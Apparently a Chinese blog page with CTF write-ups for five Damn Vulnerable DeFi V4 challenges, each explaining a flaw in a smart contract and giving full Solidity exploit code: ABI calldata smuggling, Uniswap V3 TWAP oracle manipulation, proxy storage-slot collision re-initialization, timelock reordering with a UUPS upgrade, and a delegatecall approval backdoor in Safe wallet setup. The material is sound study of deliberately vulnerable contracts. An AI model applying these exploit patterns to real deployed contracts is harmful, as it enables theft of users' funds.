首页
Search
1
yamux: how to work?
79 阅读
2
The Art of Memory Allocation: Malloc, Slab, C++ STL, and GoLang Memory Allocation
70 阅读
3
How to receive a network packet in Linux
63 阅读
4
Maps and Memory Leaks in Go
54 阅读
5
C++ redis connection pool
52 阅读
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
登录
Search
标签搜索
web3
solidity
web3 security
c++
uniswapV3
redis
evm
uniswap
性能测试
k8s
wireguard
CNI
http
tailscale
nginx
linux
设计模式
Jericho
累计撰写
51
篇文章
累计收到
13
条评论
首页
栏目
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
页面
搜索到
21
篇与
的结果
2025-09-08
Damn-vulnerable-defi-V4-solution(ABI Smuggling)
一、ABI Smuggling背景:我们拥有一个授权金库,其中包含 1,000,000e18 代币。该金库允许玩家每 15 天最多提取 1e18 代币。金库还允许特定用户清扫资金。但是,此权限由AuthorizedExecutor.sol 中的以下函数强制执行,该函数由授权保险库继承;也就是说,withdraw或sweepFunds只能由合约本身调用。因此,我们可以做的是调用该execute函数来调用保险库。function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) { // Read the 4-bytes selector at the beginning of `actionData` bytes4 selector; uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins assembly { selector := calldataload(calldataOffset) } if (!permissions[getActionId(selector, msg.sender, target)]) { revert NotAllowed(); } _beforeFunctionCall(target, actionData); return target.functionCall(actionData); }根据要求,上述函数中的权限仅允许以下任一操作:(selector, msg.sender, target) = (withdraw, player, vault)(selector, msg.sender, target) = (sweepFunds, sweeper, vault)由于我们是 player,因此我们应该满足条件 1,但实际上要使条件 2 起作用,因为使用选项 1,我们每 15 天只能提取 1e18 个代币,然而总共有 1,000,000e18 个代币。请注意,该execute函数通过读取 calldata 从第 100 个字节开始的 4 个字节来函数选择器execute。这通常是正确的,因为的 calldata结构如下:execute.selector (4 bytes) + target (32 bytes) + offset (32 bytes, 0x40) + length (32 bytes) + selector如果我们直接调用execute,偏移量(字节数据开始的位置;字节数据由bytes.length后跟组成bytes.data)为0x40,并且上面描述的结构成立。然而,这并非必需,因为我们可以execute使用汇编语言调用,并强制将偏移量设置为,例如,0x80并将从位置 100(该位置本应是选择器,但现在由于新的偏移量而未使用)开始的调用数据设置为withdraw.selector,而实际被调用的函数是sweepFunds。更详细地说,我们构造的调用数据是:// execute selector 0x1cff79cd // vault.address 0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264 // offset ->偏移量指向 actionData起始位置。0x80 是 128 字節 (第二個 32 字節) 0000000000000000000000000000000000000000000000000000000000000080 // 這個部分沒有實際用途,通常用來填充固定長度的位置 (第三個 32 字節) 0000000000000000000000000000000000000000000000000000000000000000 // withdraw() 繞過檢查 (第四個 32 字節) **d9caed12**00000000000000000000000000000000000000000000000000000000 // 這表示 actionData 的總長度是 68 字節(0x44 為十六進制的 68) actionData ( 4 + 32 + 32) 0000000000000000000000000000000000000000000000000000000000000044 // sweepFunds calldata 85fb709d00000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9bfunction test_abiSmuggling() public checkSolvedByPlayer { address vaultAddr = address(vault); address tokenAddr = address(token); address recoveryAddr = recovery; assembly { let p := mload(0x40) // 指向可用内存首地址 mstore(p, shl(224, 0x1cff79cd)) // 由于mstore是按照 32字节为单位写入需要左移 224 位将 excute 函数的哈希前 // 四字节存储在32 字节中的高 4 字节中 mstore(add(p, 0x04), vaultAddr) // 紧接着将vaultAddr存储到excute后面32 字节的低 20 字节 mstore(add(p, 0x24), 0x80) // 0x24位置存储 actionData的calldata起始位置的offset 0x80(128)字节 // calldata起始位置即0xa4 mstore(add(p, 0x44), 0x00) // 通常用来填充固定长度的位置 此处无用 mstore(add(p, 0x64), shl(224, 0xd9caed12)) // 为了绕过excute检查填充 withdraw mstore(add(p, 0x84), 0x44) // 表示 actiondata 的长度是 68 字节 mstore(add(p, 0xa4), shl(224, 0x85fb709d)) // 此处是真正我们植入的攻击函数 sweepfunds mstore(add(p, 0xa8), recoveryAddr) // seepfunds 的参数 1 receiver mstore(add(p, 0xc8), tokenAddr) // seepfunds 的参数 2 token let success:= call(gas(), vaultAddr, 0, p, 232, 0, 0) if iszero(success) { mstore(0x00, shl(224, 0x6c9d47e8)) // CallError() 把这32字节存到内存地址 0x00,作为revert的返回值 revert(0, 4) // 从内存地址 0x00 开始读只返回前 4 字节 } } }
2025年09月08日
5 阅读
0 评论
1 点赞
2025-09-07
Damn-vulnerable-defi-V4-solution(Puppet V3)
一、Puppet V3背景:Uniswap V3 池初始拥有 100e18 WETH 和 DVT。作为玩家,我们拥有 25e18 ETH 和 110e18 DVT。我们的目标是拿走借贷池中所有 10_000e18 DVT 代币,这需要抵押品 WETH 价值的 3 倍。Uniswap V3 对 AMM 使用的公式与经典不同x * y = k,因为它旨在使用相同数量的代币提供更集中的流动性。在 Uniswap V2 中,x或y永远不可能为零。更具体地说,Uniswap V3 引入了集中流动性和新的定价公式。在增加流动性时,提供者还会指定一个价格范围。这使得系统能够通过将价格锚定在指定范围的边界上,而不是让其向零或无穷大延伸,从而在两种代币之间维持合理的价格——即使一种代币完全从池中移除。攻击逻辑:与 Puppet V2 类似,我们将所有 DVT 代币兑换成 WETH,以操纵价格预言机,使其认为 WETH 具有高价值。然后,我们使用少量 WETH 作为抵押,从借贷池中借入所有剩余的 DVT。在 Uniswap V3 池中,slot0记录池的当前状态。tick其中的值slot0跟踪价格,并在每次交换完成后更新。struct Slot0 { // the current price uint160 sqrtPriceX96; // the current tick int24 tick; // the most-recently updated index of the observations array uint16 observationIndex; // the current maximum number of observations that are being stored uint16 observationCardinality; // the next maximum number of observations to store, triggered in observations.write uint16 observationCardinalityNext; // the current protocol fee as a percentage of the swap fee taken on withdrawal // represented as an integer denominator (1/x)% uint8 feeProtocol; // whether the pool is locked bool unlocked; }价格与tick之间的关系如下:最小变动价位范围从MIN_TICK = -887272到MAX_TICK = 887272,对应的价格范围从 1 / 2¹²⁸ 到 2¹²⁸ (此处,token1为 WETH,token0为 DVT)。因此,价格和最小变动价位值越小,WETH 相对于 DVT 的价值就越高。查询lendingPoolUniswap V3 池中的价格。如果你追踪函数调用,它会从consult流向observeSingle。getQuoteAtTick 会将获取到的 tick 转换对应的 priceuint32 public constant TWAP_PERIOD = 10 minutes;getQuoteAtTick 会将获取到的 tick 转换对应的 priceuint32 public constant TWAP_PERIOD = 10 minutes; ... function _getOracleQuote(uint128 amount) private view returns (uint256) { (int24 arithmeticMeanTick,) = OracleLibrary.consult({pool: address(uniswapV3Pool), secondsAgo: TWAP_PERIOD}); return OracleLibrary.getQuoteAtTick({ tick: arithmeticMeanTick, baseAmount: amount, baseToken: address(token), quoteToken: address(weth) }); }function observeSingle( Observation[65535] storage self, uint32 time, uint32 secondsAgo, int24 tick, uint16 index, uint128 liquidity, uint16 cardinality ) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) { unchecked { if (secondsAgo == 0) { Observation memory last = self[index]; if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity); return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128); } ... }最后,arithmeticMeanTick(TWAP)是预言机返回的tick。tickCumulative是当前时间的(即secondsAgo = 0)只是最新观察中记录的当前累积刻度值。last.tickCumulative + int56(tick) * int56(uint56(delta)),由函数transform可知function transform( Observation memory last, uint32 blockTimestamp, int24 tick, uint128 liquidity ) private pure returns (Observation memory) { unchecked { uint32 delta = blockTimestamp - last.blockTimestamp; return Observation({ blockTimestamp: blockTimestamp, tickCumulative: last.tickCumulative + int56(tick) * int56(uint56(delta)), secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 + ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)), initialized: true }); } }即使last.tickCumulative为 0,我们也可以操纵 tick 为 -887272(这对应于非常高的 ETH 价格)。因此,只要时间增量blockTimestamp — last.blockTimestamp很大,我们最终就会得到非常小的tickCumulative。因此,我们的策略是先进行交换,投入所有 DVT 代币以提取所有 WETH。之后,我们会在挑战规定的 115 秒时间限制内尽可能长时间地等待(例如 100 秒)。为了使当前时间的累计 tick 等于 -887272 × 100,我们将 600 秒前的累计 tick 设为 0,时间差为 600 秒。这样得到的 tick 值为 887272 / 6 = 147045。对应的价格为 1/1.0001¹⁴⁷⁰⁴⁵ =1 / 24309631,这个价格足够低,我们只需少量 WETH 即可兑换所有 DVT 代币。总而言之,我们的解决方案是:我们换出100e18DVT 代币。由于所有 WETH 都已换出,因此 tick 值移动到 -887272。因此,tick 值移动到了最小可能值的左端。等待 100 秒,让价格预言机整合第一次掉期的价格信息。请注意,等待时间越长,预言机受掉期机制操纵价格的影响就越大。(不过,挑战设置了大约 115 秒的总时间限制。)该swap函数要求调用者实现特定的回调函数。这就是为什么我们需要使用合约(Attacker.sol)来执行兑换,而不是使用玩家的账户。function test_puppetV3() public checkSolvedByPlayer { IUniswapV3Pool uniswapPool = IUniswapV3Pool(uniswapFactory.getPool(address(token), address(weth), FEE)); Attacker attacker = new Attacker(uniswapPool, token, lendingPool, weth, player); token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE); attacker.attack(-999e17); vm.warp(block.timestamp + 12); attacker.attack(-1e17); vm.warp(block.timestamp + 100); weth.approve(address(lendingPool), weth.balanceOf(player)); lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE); token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE); }contract Attacker { IUniswapV3Pool uniswapPool; DamnValuableToken token; PuppetV3Pool lendingPool; WETH weth; address player; constructor( IUniswapV3Pool _uniswapPool, DamnValuableToken _token, PuppetV3Pool _lendingPool, WETH _weth, address _player ) { uniswapPool = _uniswapPool; token = _token; lendingPool = _lendingPool; weth = _weth; player = _player; } function attack(int256 amount) external { uniswapPool.swap(player, true, amount, TickMath.MIN_SQRT_RATIO + 1, ""); } function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes memory) external { if (amount0 > 0) { token.transfer(address(uniswapPool), uint256(amount0)); } if (amount1 > 0) { weth.transfer(address(uniswapPool), uint256(amount1)); } } }
2025年09月07日
2 阅读
0 评论
1 点赞
2025-09-07
Damn-vulnerable-defi-V4-solution(Wallet Mining)
一、Wallet Mining背景:本次挑战由两部分组成。我们遇到的问题是,某个地址记录了 2000 万个 DVT,但该地址上还没有部署合约。我们需要在该地址上部署一个合约。ward应该在WalletDeployer使用drop()函数部署合约后获得 1 个 DVT。然而,我们的角色是player,并且该函数只允许被ward在目标地址部署合约。我们需要找到一种方法来捕获那 1 个 DVT。SafeProxy的部署过程如下:我们之所以称之为SafeProxy代理,是因为它将所有逻辑委托给了 Safe Wallet 单例。代理合约本身包含极少的代码;其主要功能是使用 delegatecall将调用转发给 Safe Wallet 单例。SafeProxy合约是使用CREATE2创建的,这意味着我们可以确定性地计算它们的地址。地址是:keccak256(0xFF ++ sender ++ salt ++ keccak256(init_code))[12:] // 仅用于说明,并非实际代码 //proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)这里的sender指的是部署者地址。一开始我误以为部署者是 ward,但这是一个很大的误解。实际上,部署者是SafeProxyFactory合约。init_code用于地址计算的是:abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(_singleton)));我们需要在地址后附加创建代码,_singleton因为 是_singleton作为构造函数参数传递的。我们手动将其转换_singleton为uint256(uint160(_singleton)),因为address是 20 个字节,但abi.encodePacked需要紧密对齐的数据,对齐到 32 个字节。盐是:bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));因此,我们需要做的就是找到正确的initializer和saltNonce (a uint256),以便计算出的地址与所需的地址匹配。initializer相对容易猜测,因为它对应于SafeProxy的setup 的data,它会调用Safe.sol中的setup函数。address[] memory owners = new address[](1); owners[0] = user; bytes memory initializer = abi.encodeCall(Safe.setup, (owners, 1 // 1 is the threshold , address(0), "", address(0), address(0), 0, payable(address(0))));为了找到saltNonce使部署的合约地址与相匹配的正确值USER_DEPOSIT_ADDRESS,我们需要通过迭代可能的值来进行暴力破解,通常使用for循环 - 直到计算出的地址等于目标地址。// finding the saltNonce for (uint256 saltNonce = 0; saltNonce < 100; saltNonce++) { address[] memory owners = new address[](1); owners[0] = user; bytes memory initializer = abi.encodeCall(Safe.setup, (owners, 1 // 1 is the threshold , address(0), "", address(0), address(0), 0, payable(address(0)))); bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory initCode = abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy)))); bytes memory guessBytes = keccak256(abi.encodePacked(bytes1(0xff), address(proxyFactory), salt, keccak256(initCode))); address guess = address(uint160(uint256(guessBytes))); if (guess == USER_DEPOSIT_ADDRESS) { console.log("saltNonce", saltNonce); }我们发现saltNonce部署的值SafeProxy是13。第二步,使用WalletDeployer中的函数drop部署合约。function drop(address aim, bytes memory wat, uint256 num) external returns (bool) { if (mom != address(0) && !can(msg.sender, aim)) { return false; } if (address(cook.createProxyWithNonce(cpy, wat, num)) != aim) { return false; } if (IERC20(gem).balanceOf(address(this)) >= pay) { IERC20(gem).transfer(msg.sender, pay); } return true; }该drop函数调用mom中的函数can来验证msg.sender是否有权在目标地址部署合约。该mom合约是authorizer,它是AuthorizeUpgradable的代理实例。在初始化期间,它将设置can(ward, aim) = true, needsInit为零以防止重新初始化。然而,由于authorizer实际上是AuthorizeUpgradable 实例的可升级代理,其第一个存储槽保存的是 的upgrader地址。这引入了一个漏洞:我们可以重新初始化合约,并将 ward设置为player。对以上内容进行更详细的解释:authorizer ( TransparentProxy) 使用AuthorizerFactory.sol 中的代码进行部署。不幸的是,AuthorizerUpgradeable(authorizer).needsInit()和TransparentProxy(payable(authorizer)).setUpgrader(...)都访问同一个存储槽,具体来说是槽 0。这会产生冲突,就像needsInit和AuthorizeUpgradable重叠upgrader一样TransparentProxy。部署结束时,槽 0 被设置为upgrader,它非零,这使我们能够再次初始化。// AuthorizerFactory.sol function deployWithProxy(address[] memory wards, address[] memory aims, address upgrader) external returns (address authorizer) { authorizer = address( new TransparentProxy( // proxy address(new AuthorizerUpgradeable()), // implementation abi.encodeCall(AuthorizerUpgradeable.init, (wards, aims)) // init data ) ); assert(AuthorizerUpgradeable(authorizer).needsInit() == 0); // slot0 TransparentProxy(payable(authorizer)).setUpgrader(upgrader); // also slot0 }另一部分挑战在于,所有操作都必须在单笔交易drop中完成。在目标地址使用部署合约后WalletDeployer.sol,我们需要立即调用execTransaction,SafeWallet将 2000 万 DVT 转回给 user。这需要传入有效的签名。由于只允许一笔交易,我们必须使用 user的私钥对消息进行预签名,并将签名传递给我们部署的Attacker合约。Attacker合约随后将执行其余的攻击逻辑。攻击思路:攻击者先把 Authorizer 重新初始化,把自己写入为被授权者(可以为目标地址 USER_DEPOSIT_ADDRESS 做部署)。然后通过 WalletDeployer.drop() 在目标地址部署一个 Gnosis Safe(多签钱包),并把这个 Safe 的 owner 设为题目里“可控”的 user(攻击者持有 user 的私钥)。部署后用 user 的签名调用 Safe 的 execTransaction,把 Safe 里的大额 DVT 转到 user(实际就是攻击者控制的账户)。最后给 ward 一小笔(1 ether)作为“回扣/掩饰”。function test_walletMining() public checkSolvedByPlayer { bytes32 DOMAIN_SEPARATOR = keccak256( abi.encode( bytes32(0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218), block.chainid, USER_DEPOSIT_ADDRESS ) ); bytes memory txHashData = abi.encodePacked( bytes1(0x19), bytes1(0x01), DOMAIN_SEPARATOR, keccak256( abi.encode( bytes32(0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8), address(token), 0, keccak256(abi.encodeCall(token.transfer, (user, 20_000_000e18))), Enum.Operation.Call, 50000, 0, 0, address(0), payable(0), 0 ) ) ); (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, keccak256(txHashData)); bytes memory signatures = abi.encodePacked(r, s, v); new Attacker(authorizer, walletDeployer, token, signatures, user, ward); }contract Attacker { constructor( AuthorizerUpgradeable authorizer, WalletDeployer walletDeployer, DamnValuableToken token, bytes memory signatures, address user, address ward ) { { address[] memory newWards = new address[](1); newWards[0] = address(this); address[] memory aims = new address[](1); aims[0] = 0xCe07CF30B540Bb84ceC5dA5547e1cb4722F9E496; authorizer.init(newWards, aims); } address[] memory owners = new address[](1); owners[0] = user; bytes memory initializer = abi.encodeCall(Safe.setup, (owners, 1, address(0), "", address(0), address(0), 0, payable(address(0)))); walletDeployer.drop(0xCe07CF30B540Bb84ceC5dA5547e1cb4722F9E496, initializer, 13); Safe(payable(0xCe07CF30B540Bb84ceC5dA5547e1cb4722F9E496)).execTransaction( address(token), 0, abi.encodeCall(token.transfer, (user, 20_000_000e18)), Enum.Operation.Call, 50000, 0, 0, address(0), payable(0), signatures ); token.transfer(ward, 1 ether); } }
2025年09月07日
3 阅读
0 评论
1 点赞
2025-09-06
Damn-vulnerable-defi-V4-solution(Climber)
一、Climber背景在 Damn Vulnerable DeFi v4 系列挑战里,Climber 是一道考察 UUPS 升级代理、Timelock 调度器 和 权限管理绕过 的综合题。合约设计大意是这样的:ClimberVault:一个基于 UUPS 代理模式 的金库合约,存放了大量代币,只有合约 owner 能执行升级。ClimberTimelock:一个时间锁合约,保护 Vault 的关键操作。要想执行某些管理操作,必须通过 Timelock 里的 execute 调用,并且在调用前有一个 schedule 延迟队列。权限设计:只有 PROPOSER_ROLE 能调用 schedule,并且 Vault 的 owner 在初始化时交给了 Timelock,意味着玩家初始状态下什么都做不了。目标是:绕过 Timelock 的延迟限制,把 Vault 的实现升级为攻击合约,然后把金库里的代币转走。漏洞点分析仔细阅读 ClimberTimelock 的逻辑,会发现几个关键点:execute 与 schedule 的顺序问题execute 会在执行完所有目标合约调用之后,才去检查任务是否在 schedule 里。这意味着如果你能在 execute 执行的过程中“顺手”调用 schedule,那么检查时就会发现任务已经被调度过,条件满足,导致校验通过。这是一个典型的 顺序设计漏洞。权限修改逻辑过于宽松你可以在一次 execute 事务中调用多步操作,比如:赋予攻击者 PROPOSER_ROLE。将延迟时间设置为 0。把 Vault 的所有权转给自己。最后调用 schedule(由攻击者合约提供)。因为所有操作都在同一个 execute 中完成,所以 Timelock 自己的安全性被绕过。UUPS 可升级漏洞一旦你获得 Vault 的所有权,就能调用 upgradeToAndCall 把实现合约换成攻击者实现,写一个带有 withdrawAll 的新合约即可转走代币。攻击流程整个攻击分为四步:部署攻击合约 Attacker攻击合约在构造函数里就准备好了一套 targets 和 elements(也就是要执行的调用),包括:给自己加上 PROPOSER_ROLE。把延迟时间设为 0。把 Vault 的所有权交给玩家。调用自身的 timelockSchedule() 来补上 schedule。调用 timelockExecute()通过 Timelock 的 execute 执行这套调用。在第 4 个步骤时,攻击合约内部再调用 schedule,这样 execute 的最后检查不会失败。升级 Vault攻击者部署一个 PawnedClimberVault(继承自原始 ClimberVault,额外加上一个 withdrawAll 函数)。然后调用 upgradeToAndCall 把 Vault 的实现升级成攻击版本。提取资金调用 withdrawAll(token, receiver) 把所有代币转到自己的地址,攻击完成。function test_climber() public checkSolvedByPlayer { Attacker attacker = new Attacker(payable(timelock), address(vault)); attacker.timelockExecute(); PawnedClimberVault newVaultImpl = new PawnedClimberVault(); vault.upgradeToAndCall(address(newVaultImpl), ""); PawnedClimberVault(address(vault)).withdrawAll(address(token), recovery); }contract Attacker { address payable private immutable timelock; uint256[] private _values = [0, 0, 0, 0]; address[] private _targets = new address[](4); bytes[] private _elements = new bytes[](4); constructor(address payable _timelock, address _vault) { timelock = _timelock; _targets = [_timelock, _timelock, _vault, address(this)]; _elements[0] = (abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("PROPOSER_ROLE"), address(this))); _elements[1] = abi.encodeWithSignature("updateDelay(uint64)", 0); _elements[2] = abi.encodeWithSignature("transferOwnership(address)", msg.sender); _elements[3] = abi.encodeWithSignature("timelockSchedule()"); } function timelockExecute() external { ClimberTimelock(timelock).execute(_targets, _values, _elements, bytes32("123")); } function timelockSchedule() external { ClimberTimelock(timelock).schedule(_targets, _values, _elements, bytes32("123")); } }contract PawnedClimberVault is ClimberVault { function withdrawAll(address tokenAddress, address receiver) external onlyOwner { // withdraw the whole token balance from the contract DamnValuableToken token = DamnValuableToken(tokenAddress); require(token.transfer(receiver, token.balanceOf(address(this))), "Transfer failed"); } }
2025年09月06日
2 阅读
0 评论
1 点赞
2025-09-05
Damn-vulnerable-defi-V4-solution(Backdoor)
一、Backdoor背景:这里用的是 Gnosis Safe(多签钱包) 的体系:SafeProxyFactory 可以创建新的 Safe 钱包(是一个代理合约)。singletonCopy 是 Safe 钱包的逻辑合约地址(所有代理钱包都会 delegatecall 到这个逻辑合约)。创建 Safe 钱包 时,可以指定一个 IProxyCreationCallback,在新钱包被创建时会触发回调。本题里,WalletRegistry 就是这个回调合约。📌 关键函数:proxyCreated当有人通过 SafeProxyFactory.createProxyWithCallback 创建钱包时,这个函数会被调用。逻辑如下:资金检查if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) revert NotEnoughFunds(); 确保 WalletRegistry 自己有足够的代币可以奖励。验证调用来源必须是 工厂合约 (walletFactory) 调用必须用正确的逻辑合约 (singletonCopy)验证初始化数据initializer[:4] 必须是 Safe.setup.selector → 保证这是在调用 Gnosis Safe 的 setup()。检查多签参数:threshold == 1owners.length == 1验证 owner 合法owner 必须在 beneficiaries 白名单里并且 Safe 钱包的 fallbackManager 必须是空(不能有特殊的 handler)。更新状态从 beneficiaries 列表里移除这个 owner(一个地址只能领一次奖励)。把这个钱包登记到 wallets[owner]。发放奖励SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);给新钱包转 10 个代币。这个 WalletRegistry 的作用就是:管理一批 白名单用户(beneficiaries)当白名单用户用工厂部署一个 Gnosis Safe 钱包时:验证钱包合法性(阈值=1,只有 1 个 owner,没有 fallback manager,正确的逻辑合约)给钱包奖励 10 个代币并且只奖励一次攻击思路:准备一个“DelegateApprove”合约(在 Safe.setup 的 to 上被 DELEGATECALL):里面只有一个函数:在“当前上下文(即 Safe 钱包自身)”里执行 call 调用IERC20(token).approve(attacker, type(uint256).max);为每个受益人(beneficiaries)批量创建 Safe:通过 SafeProxyFactory.createProxyWithCallback(singleton, initializer, salt, registry)。initializer 编码 Safe.setup 参数:owners = [beneficiary]threshold = 1to = address(DelegateApprove)(你部署的委托合约)data = abi.encodeWithSelector(DelegateApprove.approve.selector, address(token), attacker)fallbackHandler = address(0)(必须为零以通过校验)paymentToken = address(0), payment = 0, paymentReceiver = address(0)这样一来:Safe 创建 → setup 里对 to 做 DELEGATECALL → 在 Safe 自身上下文里完成 对你地址的无限授权。拿钱:WalletRegistry.proxyCreated 校验通过后,会给新钱包打 PAYMENT_AMOUNT = 10e18 代币。你随后直接从外部调用token.transferFrom(address(safe), recovery, PAYMENT_AMOUNT)把每个 Safe 里刚发的 10 代币都拉到你的回收地址 recovery。对所有受益人循环,资金全部转走。我抽取核心的调用链:SafeProxyFactory::createProxyWithCallback(...) ├─ SafeProxy::fallback() [call] │ ├─ Safe::setup(...) [delegatecall] │ │ ├─ DelegateApprove::approve(...) [delegatecall] │ │ │ ├─ DamnValuableToken::approve(...) [call]解释:工厂调用 SafeProxy → 触发 fallback这里 msg.sender = 工厂。SafeProxy 用 delegatecall 跳进 Safe::setup仍然是 Proxy 上下文,msg.sender 还是工厂。Safe::setup 又 delegatecall 到 DelegateApprove::approve依然是 Proxy 上下文,msg.sender 还是工厂。DelegateApprove 内部执行 call(token.approve)这一步是 普通 call,所以:在 Token 合约眼里,msg.sender = SafeProxy 地址。所以事件里看到的 owner = SafeProxy,spender = DelegateApprove。solutionfunction test_backdoor() public checkSolvedByPlayer { new Attacker(walletFactory, address(singletonCopy), token, recovery, walletRegistry, users); }contract DelegateApprove { function approve(address token, address spender) external { // 在调用者(Safe 钱包)上下文里运行(因为 setup 用的是 DELEGATECALL) 避开 delegatecall 使用 call 真正修改权限 require(DamnValuableToken(token).approve(spender, type(uint256).max), "approve failed"); } }contract Attacker { constructor( SafeProxyFactory factory, address singleton, DamnValuableToken token, address recovery, WalletRegistry registry, address[] memory beneficiaries ) { DelegateApprove helper = new DelegateApprove(); for (uint256 i = 0; i < beneficiaries.length; i++) { address[] memory owners = new address[](1); owners[0] = beneficiaries[i]; bytes memory data = abi.encodeWithSelector(DelegateApprove.approve.selector, address(token), address(this)); bytes memory initializer = abi.encodeWithSelector( Safe.setup.selector, owners, 1, // threshold address(helper), // to data, // data address(0), // fallbackHandler MUST be zero address(0), // paymentToken 0, // payment address(0) // paymentReceiver ); address proxy = address(factory.createProxyWithCallback(singleton, initializer, i, registry)); require(token.transferFrom(proxy, recovery, 10e18), "pull failed"); } } }
2025年09月05日
4 阅读
0 评论
1 点赞
1
2
3
...
5